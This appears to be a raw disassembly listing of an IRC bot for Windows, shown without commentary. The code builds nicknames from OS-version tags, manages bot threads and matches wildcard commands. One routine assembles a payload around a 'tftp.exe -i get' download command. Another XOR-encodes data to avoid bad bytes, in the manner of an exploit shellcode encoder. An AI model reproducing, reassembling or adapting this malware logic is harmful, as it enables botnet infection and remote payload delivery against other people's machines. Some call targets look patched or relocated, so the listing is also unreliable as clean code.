		jnz	short loc_4088C1
		push	1
		pop	edi


loc_4088C1:				; CODE XREF: ___:004088BCj
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_4088BA
		push	61h
		pop	ecx


loc_4088CA:				; CODE XREF: ___:004088D5j
		cmp	eax, ecx
		jnz	short loc_4088D1
		push	1
		pop	edi


loc_4088D1:				; CODE XREF: ___:004088CCj
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_4088CA
		test	edi, edi
		jnz	short loc_4088E0
		mov	esi, offset aPc_1 ; "PC"


loc_4088E0:				; CODE XREF: ___:004088D9j
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_4172D0
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_436C2C, esi
		jle	short loc_40891F


loc_4088F9:				; CODE XREF: ___:0040891Dj
		call	sub_417B10
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_1	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4172D0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_436C2C
		jl	short loc_4088F9


loc_40891F:				; CODE XREF: ___:004088F7j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		call	near ptr 26C05FFh
		nop
		push	eax
		call	sub_417B00
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26F0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset aS_31	; "%s|"
		push	1Ch
		push	edi
		call	sub_4172D0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_436C2C, esi
		jle	short loc_408994


loc_40896E:				; CODE XREF: ___:00408992j
		call	sub_417B10
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_2	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4172D0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_436C2C
		jl	short loc_40896E


loc_408994:				; CODE XREF: ___:0040896Cj
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset dword_4D31A8
		mov	dword ptr [ebp-94h], 94h
		nop
		call	near ptr 26F053Fh
		nop
		call	near ptr 26C05FFh
		push	eax
		call	sub_417B00
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_408A1E
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_4089FE
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_4089EE
		mov	esi, offset a95	; "95"


loc_4089EE:				; CODE XREF: ___:004089E7j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_408A5A
		mov	esi, offset aNt	; "NT"
		jmp	short loc_408A5A
; ---------------------------------------------------------------------------


loc_4089FE:				; CODE XREF: ___:004089DEj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_408A0E
		mov	esi, offset a98	; "98"
		jmp	short loc_408A5A
; ---------------------------------------------------------------------------


loc_408A0E:				; CODE XREF: ___:00408A05j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_408A55
		mov	esi, offset aMe_0 ; "ME"
		jmp	short loc_408A5A
; ---------------------------------------------------------------------------


loc_408A1E:				; CODE XREF: ___:004089D5j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_408A55
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_408A37
		mov	esi, offset a2k	; "2K"
		jmp	short loc_408A5A
; ---------------------------------------------------------------------------


loc_408A37:				; CODE XREF: ___:00408A2Ej
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_408A47
		mov	esi, offset aXp_0 ; "XP"
		jmp	short loc_408A5A
; ---------------------------------------------------------------------------


loc_408A47:				; CODE XREF: ___:00408A3Ej
		cmp	dword ptr [ebp-8Ch], 2
		mov	esi, offset a2k3 ; "2K3"
		jz	short loc_408A5A


loc_408A55:				; CODE XREF: ___:00408A15j
					; ___:00408A25j
		mov	esi, offset a???_0 ; "???"


loc_408A5A:				; CODE XREF: ___:004089F5j
					; ___:004089FCj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset aS_32	; "[%s]|"
		push	1Ch
		push	edi
		call	sub_4172D0
		xor	esi, esi
		add	esp, 10h
		cmp	dword_436C2C, esi
		jle	short loc_408A9E


loc_408A78:				; CODE XREF: ___:00408A9Cj
		call	sub_417B10
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_3	; "%s%i"
		push	1Ch
		push	edi
		call	sub_4172D0
		add	esp, 14h
		inc	esi
		cmp	esi, dword_436C2C
		jl	short loc_408A78


loc_408A9E:				; CODE XREF: ___:00408A76j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408AA4	proc near		; CODE XREF: sub_408B4C+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26C05FFh
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_408AF3
		push	offset aMirc_0	; "mIRC"
		call	dword_445354
		test	eax, eax
		mov	eax, offset off_43DCA8
		jnz	short loc_408ADC
		mov	eax, offset dword_4D31AC


loc_408ADC:				; CODE XREF: sub_408AA4+31j
		push	eax
		push	esi
		push	offset dword_43DCAC
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_4172D0
		add	esp, 14h
		jmp	short loc_408B18
; ---------------------------------------------------------------------------


loc_408AF3:				; CODE XREF: sub_408AA4+1Dj
		push	offset aMirc_1	; "mIRC"
		call	dword_445354
		test	eax, eax
		mov	eax, offset off_43DCBC
		jnz	short loc_408B0C
		mov	eax, offset dword_4D31B0


loc_408B0C:				; CODE XREF: sub_408AA4+61j
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_4171D0
		pop	ecx
		pop	ecx


loc_408B18:				; CODE XREF: sub_408AA4+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_414BE0
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_408B47
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_418680
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_417770
		add	esp, 18h


loc_408B47:				; CODE XREF: sub_408AA4+82j
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_408AA4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408B4C	proc near		; CODE XREF: sub_402D58+7Fp
					; sub_402EC0+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_439F64


loc_408B58:				; CODE XREF: sub_408B4C+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_408B73
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_417870
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_408B7D
; ---------------------------------------------------------------------------


loc_408B73:				; CODE XREF: sub_408B4C+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_408B7D:				; CODE XREF: sub_408B4C+25j
		test	eax, eax
		jnz	short loc_408B8F
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_439FDC
		jl	short loc_408B58
		jmp	short loc_408B9D
; ---------------------------------------------------------------------------


loc_408B8F:				; CODE XREF: sub_408B4C+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_439F68[eax*4]
		pop	ecx


loc_408B9D:				; CODE XREF: sub_408B4C+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_408BB0
		push	[ebp+arg_0]
		call	sub_408AA4
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_408BB0:				; CODE XREF: sub_408B4C+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_408B4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_408BB5	proc near		; CODE XREF: sub_408BD5+Ap
					; sub_408CAD+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_414BE0
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_414BE0
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_408BB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408BD5	proc near		; CODE XREF: ___:00408D0Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408BB5
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_408BF2
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_408BF2:				; CODE XREF: sub_408BD5+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_414BE0
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_414BE0
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43DD54, eax
		lea	eax, [edi+1]
		mov	dword_43DD75, eax
		lea	eax, [edi+17h]
		mov	dword_43DD6D, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_43DCF0
		push	ebx
		mov	dword_43DD83, eax
		call	sub_4187B0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_4187B0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4187B0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4187B0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_4187B0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_4187B0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_43DD79
		push	esi
		call	sub_4187B0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408BD5	endp


; =============== S U B	R O U T	I N E =======================================



sub_408CAD	proc near		; CODE XREF: ___:00408CD1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_408BB5
		push	eax
		call	sub_408D31
		add	esp, 0Ch
		retn
sub_408CAD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+10h]
		push	edi
		mov	edi, [ebp+14h]
		push	edi
		push	ebx
		call	sub_408CAD
		cmp	eax, [ebp+0Ch]
		pop	ecx
		pop	ecx
		ja	short loc_408CE4
		cmp	eax, 0FFFFh
		jbe	short loc_408CE8


loc_408CE4:				; CODE XREF: ___:00408CDBj
		xor	eax, eax
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408CE8:				; CODE XREF: ___:00408CE2j
		push	esi
		push	edi
		push	ebx
		call	sub_408BB5
		add	eax, 101h
		push	eax
		call	sub_414DB0
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_408BB5
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_408BD5
		push	eax
		push	esi
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_408D4C
		push	esi
		mov	edi, eax
		call	sub_415820
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_408D2D:				; CODE XREF: ___:00408CE6j
		pop	edi
		pop	ebx
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408D31	proc near		; CODE XREF: sub_408CAD+Ep
					; sub_408D4C+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_408D3A
		inc	ecx


loc_408D3A:				; CODE XREF: sub_408D31+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_408D31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408D4C	proc near		; CODE XREF: ___:00408D1Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_408D68
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_408D68
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_408D68
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_408D6B


loc_408D68:				; CODE XREF: sub_408D4C+8j
					; sub_408D4C+Ej ...
		inc	[ebp+arg_C]


loc_408D6B:				; CODE XREF: sub_408D4C+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_408D93
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_408D8C
		cmp	al, 0Dh
		jz	short loc_408D8C
		cmp	al, 5Ch
		jz	short loc_408D8C
		test	al, al
		jnz	short loc_408D93


loc_408D8C:				; CODE XREF: sub_408D4C+32j
					; sub_408D4C+36j ...
		add	[ebp+arg_C], 100h


loc_408D93:				; CODE XREF: sub_408D4C+28j
					; sub_408D4C+3Ej
		push	[ebp+arg_C]
		call	sub_408D31
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_408DAB
		cmp	eax, 0FFFFh
		jbe	short loc_408DB2


loc_408DAB:				; CODE XREF: sub_408D4C+56j
		xor	eax, eax
		jmp	loc_408E50
; ---------------------------------------------------------------------------


loc_408DB2:				; CODE XREF: sub_408D4C+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4D31B4
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_408DE2


loc_408DC6:				; CODE XREF: sub_408D4C+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_408DD9
		cmp	al, 0Ah
		jz	short loc_408DD9
		cmp	al, 0Dh
		jz	short loc_408DD9
		cmp	al, 5Ch
		jnz	short loc_408DDD


loc_408DD9:				; CODE XREF: sub_408D4C+7Fj
					; sub_408D4C+83j ...
		inc	bl
		xor	edx, edx


loc_408DDD:				; CODE XREF: sub_408D4C+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_408DC6


loc_408DE2:				; CODE XREF: sub_408D4C+78j
		cmp	ecx, esi
		mov	byte_4D31B4, bl
		ja	short loc_408E0E
		push	15h
		push	offset loc_43DCD8
		push	[ebp+arg_0]
		mov	byte_43DCE5, cl
		mov	byte_43DCE9, bl
		call	sub_4187B0
		add	esp, 0Ch
		push	15h
		jmp	short loc_408E2F
; ---------------------------------------------------------------------------


loc_408E0E:				; CODE XREF: sub_408D4C+9Ej
		push	17h
		push	offset loc_43DCC0
		push	[ebp+arg_0]
		mov	word_43DCCE, cx
		mov	byte_43DCD3, bl
		call	sub_4187B0
		add	esp, 0Ch
		push	17h


loc_408E2F:				; CODE XREF: sub_408D4C+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_408E4B
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_408E3D:				; CODE XREF: sub_408D4C+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_408E3D


loc_408E4B:				; CODE XREF: sub_408D4C+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_408E50:				; CODE XREF: sub_408D4C+61j
		pop	esi
		leave
		retn
sub_408D4C	endp


; =============== S U B	R O U T	I N E =======================================



sub_408E53	proc near		; CODE XREF: ___:00402B07p
					; ___:00402B43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_446010


loc_408E5B:				; CODE XREF: sub_408E53+18j
		cmp	byte ptr [eax],	0
		jz	short loc_408E6F
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D3010
		jl	short loc_408E5B
		jmp	short loc_408EBA
; ---------------------------------------------------------------------------


loc_408E6F:				; CODE XREF: sub_408E53+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_446010[esi]
		push	eax
		call	sub_417770
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_446210[esi], eax
		and	dword_446214[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_446218[esi], 0
		mov	dword_44621C[esi], eax
		and	byte_446228[esi], 0
		pop	esi


loc_408EBA:				; CODE XREF: sub_408E53+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_408E53	endp

; ---------------------------------------------------------------------------
word_408EBE	dw 8B55h		; DATA XREF: sub_403038+3DB9o
		dd 98EC81ECh, 8B000000h, 57560845h, 8B59266Ah, 68BD8DF0h
		dd 0F3FFFFFFh, 0F075FFA5h, 9480C7h, 10000h, 858D0000h
		dd 0FFFFFF6Ch, 50F475FFh, 0FF68B5FFh, 15E8FFFFh, 0FF000000h
		dd 6CE8EC75h, 83000002h, 6A14C4h, 2F70F3E8h, 5E5F9002h
		dd 81EC8B55h, 200ECh, 6A575600h, 1075FF00h, 43DDB468h
		dd 0C75FF00h, 0E80875FFh, 0FFFF8515h, 3314C483h, 6010BEFFh
		dd 3E800044h, 833C7400h, 7500147Dh, 4BE8309h, 2, 57562D75h
		dd 0FE00858Dh, 0C868FFFFh, 500043DDh, 0E26FE8h,	8D016A00h
		dd 0FFFE0085h, 1075FFFFh, 0C75FF50h, 0E80875FFh, 0FFFF84CDh
		dd 8124C483h, 234C6h, 0FE814700h, 4D3010h, 5E5FB07Ch
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_408F8E	proc near		; CODE XREF: sub_403038+2FFCp
					; sub_40901C+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_409016
		cmp	esi, 400h
		jge	short loc_409016
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_446224[esi]
		lea	edi, dword_446224[esi]
		nop
		call	near ptr 26D0BAFh
		cmp	[edi], ebx
		jz	short loc_408FC6
		push	1
		pop	ebp


loc_408FC6:				; CODE XREF: sub_408F8E+33j
		mov	[edi], ebx
		lea	edi, dword_446218[esi]
		mov	dword_446210[esi], ebx
		mov	dword_446214[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_408FE7
		push	eax
		call	sub_413747
		pop	ecx


loc_408FE7:				; CODE XREF: sub_408F8E+50j
		mov	[edi], ebx
		lea	edi, dword_44621C[esi]
		mov	byte ptr dword_446010[esi], bl
		mov	byte_446228[esi], bl
		push	dword ptr [edi]
		call	dword_4453E0
		lea	esi, dword_446220[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4453E0
		mov	[esi], ebx
		pop	edi


loc_409016:				; CODE XREF: sub_408F8E+Dj
					; sub_408F8E+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_408F8E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40901C	proc near		; CODE XREF: sub_401317+18p
					; ___:loc_402D44p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_446010


loc_409028:				; CODE XREF: sub_40901C+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_409039
		push	edi
		call	sub_408F8E
		test	eax, eax
		pop	ecx
		jz	short loc_409039
		inc	ebx


loc_409039:				; CODE XREF: sub_40901C+Fj
					; sub_40901C+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4D3010
		jl	short loc_409028
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40901C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40904E	proc near		; CODE XREF: sub_403038+2577p
					; sub_4090E1+1Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_446214


loc_409062:				; CODE XREF: sub_40904E+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_409084
		test	edi, edi
		jle	short loc_409076
		cmp	[esi], edi
		jz	short loc_409076
		cmp	ebx, edi
		jnz	short loc_409084


loc_409076:				; CODE XREF: sub_40904E+1Ej
					; sub_40904E+22j
		push	ebx
		call	sub_408F8E
		test	eax, eax
		pop	ecx
		jz	short loc_409084
		inc	[ebp+var_4]


loc_409084:				; CODE XREF: sub_40904E+1Aj
					; sub_40904E+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4D3214
		jl	short loc_409062
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40904E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40909B	proc near		; CODE XREF: ___:00402B9Bp
					; sub_403038+94Cp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_446210


loc_4090A2:				; CODE XREF: sub_40909B+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4090AB
		inc	eax


loc_4090AB:				; CODE XREF: sub_40909B+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4D3210
		jl	short loc_4090A2
		retn
sub_40909B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4090BA	proc near		; CODE XREF: sub_403038+388Bp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_446210


loc_4090C4:				; CODE XREF: sub_4090BA+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_4090DD
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4D3210
		jl	short loc_4090C4
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4090DD:				; CODE XREF: sub_4090BA+10j
		mov	eax, edx
		pop	esi
		retn
sub_4090BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4090E1	proc near		; CODE XREF: sub_403038+11D8p
					; sub_403038+11F6p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_4090FA
		push	[ebp+arg_1C]
		call	sub_4174D0
		pop	ecx


loc_4090FA:				; CODE XREF: sub_4090E1+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40904E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_409126
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_4171D0
		add	esp, 14h
		jmp	short loc_409140
; ---------------------------------------------------------------------------


loc_409126:				; CODE XREF: sub_4090E1+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_4171D0
		add	esp, 10h


loc_409140:				; CODE XREF: sub_4090E1+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_409160
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401445
		add	esp, 14h


loc_409160:				; CODE XREF: sub_4090E1+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_410557
		pop	ecx
		leave
		retn
sub_4090E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_40916F	proc near		; CODE XREF: sub_402D58+159p
					; ___:00409748p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_446224[eax], ecx
		mov	dword_446210[eax], ecx
		mov	dword_446214[eax], ecx
		mov	dword_446218[eax], ecx
		mov	dword_44621C[eax], ecx
		mov	dword_446220[eax], ecx
		mov	byte ptr dword_446010[eax], cl
		mov	byte_446228[eax], cl
		retn
sub_40916F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4091AC	proc near		; CODE XREF: sub_403038+5602p
					; sub_4092DA+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4091B6:				; CODE XREF: sub_4091AC+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_409216
		cmp	eax, 1
		jnz	short loc_409216
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_409216
		cmp	cl, 2Ah
		jz	short loc_4091FD
		cmp	cl, 3Fh
		jz	short loc_4091E0
		cmp	cl, 5Bh
		jz	short loc_4091E5
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_4091E0:				; CODE XREF: sub_4091AC+26j
		inc	[ebp+arg_4]
		jmp	short loc_409210
; ---------------------------------------------------------------------------


loc_4091E5:				; CODE XREF: sub_4091AC+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_409242
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_409210
; ---------------------------------------------------------------------------


loc_4091FD:				; CODE XREF: sub_4091AC+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_4092DA
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_409210:				; CODE XREF: sub_4091AC+37j
					; sub_4091AC+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4091B6
; ---------------------------------------------------------------------------


loc_409216:				; CODE XREF: sub_4091AC+Ej
					; sub_4091AC+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_409226
		cmp	eax, 1
		jnz	short loc_40923D
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_409216
; ---------------------------------------------------------------------------


loc_409226:				; CODE XREF: sub_4091AC+6Dj
		cmp	eax, 1
		jnz	short loc_40923D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40923D
		cmp	byte ptr [esi],	0
		jnz	short loc_40923D
		push	1
		pop	eax
		jmp	short loc_40923F
; ---------------------------------------------------------------------------


loc_40923D:				; CODE XREF: sub_4091AC+72j
					; sub_4091AC+7Dj ...
		xor	eax, eax


loc_40923F:				; CODE XREF: sub_4091AC+8Fj
		pop	esi
		pop	ebp
		retn
sub_4091AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409242	proc near		; CODE XREF: sub_4091AC+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_409263
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_409263:				; CODE XREF: sub_409242+19j
		push	ebx
		push	esi


loc_409265:				; CODE XREF: sub_409242+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_409273
		cmp	[ebp+var_4], eax
		jnz	short loc_4092BF


loc_409273:				; CODE XREF: sub_409242+2Aj
